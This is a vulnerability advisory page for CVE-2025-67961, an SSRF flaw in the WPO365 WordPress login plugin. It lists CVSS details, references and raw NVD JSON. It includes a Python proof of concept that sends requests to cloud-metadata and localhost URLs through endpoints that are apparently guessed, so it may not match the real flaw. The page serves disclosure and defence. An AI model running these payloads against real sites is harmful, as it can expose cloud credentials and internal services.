CVE-2025-67961

Description

Server-Side Request Forgery (SSRF) vulnerability in Marco van Wieren WPO365 wpo365-login allows Server Side Request Forgery.This issue affects WPO365: from n/a through <= 40.0.

CVSS Details

CVSS Score

6.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WPO365 wpo365-login <= 40.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2025-67961 SSRF PoC for WPO365 <= 40.0
# Target: WordPress site with vulnerable WPO365 plugin

target_url = "http://target-wordpress-site.com"

# SSRF payload to fetch internal metadata (AWS/Azure/GCP)
ssrf_payloads = [
    "http://169.254.169.254/latest/meta-data/",
    "http://169.254.169.254/latest/user-data/",
    "http://127.0.0.1/admin/",
    "http://localhost:8080/",
]

# Common WPO365 endpoints that might be vulnerable
endpoints = [
    "/wp-json/wpo365/v1/sso/callback",
    "/?rest_route=/wpo365/v1/auth",
    "/wp-admin/admin-ajax.php?action=wpo365_sso"
]

for endpoint in endpoints:
    for payload in ssrf_payloads:
        params = {
            "redirect_url": payload,
            "state": "test"
        }
        try:
            response = requests.get(
                target_url + endpoint,
                params=params,
                timeout=10,
                allow_redirects=False
            )
            print(f"Endpoint: {endpoint}")
            print(f"Payload: {payload}")
            print(f"Status: {response.status_code}")
            print(f"Response: {response.text[:200]}")
            print("---")
        except requests.RequestException as e:
            print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-67961
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-67961
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-67961/
[4] VulDB https://vuldb.com/cve/CVE-2025-67961
[5] https://patchstack.com/database/Wordpress/Plugin/wpo365-login/vulnerability/wordpress-wpo365-plugin-40-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-67961", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:05.757", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Server-Side Request Forgery (SSRF) vulnerability in Marco van Wieren WPO365 wpo365-login allows Server Side Request Forgery.This issue affects WPO365: from n/a through <= 40.0."}, {"lang": "es", "value": "Vulnerabilidad de falsificación de petición del lado del servidor (SSRF) en Marco van Wieren WPO365 wpo365-login permite la falsificación de petición del lado del servidor. Este problema afecta a WPO365: desde n/a hasta <= 40.0."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/wpo365-login/vulnerability/wordpress-wpo365-plugin-40-0-server-side-request-forgery-ssrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}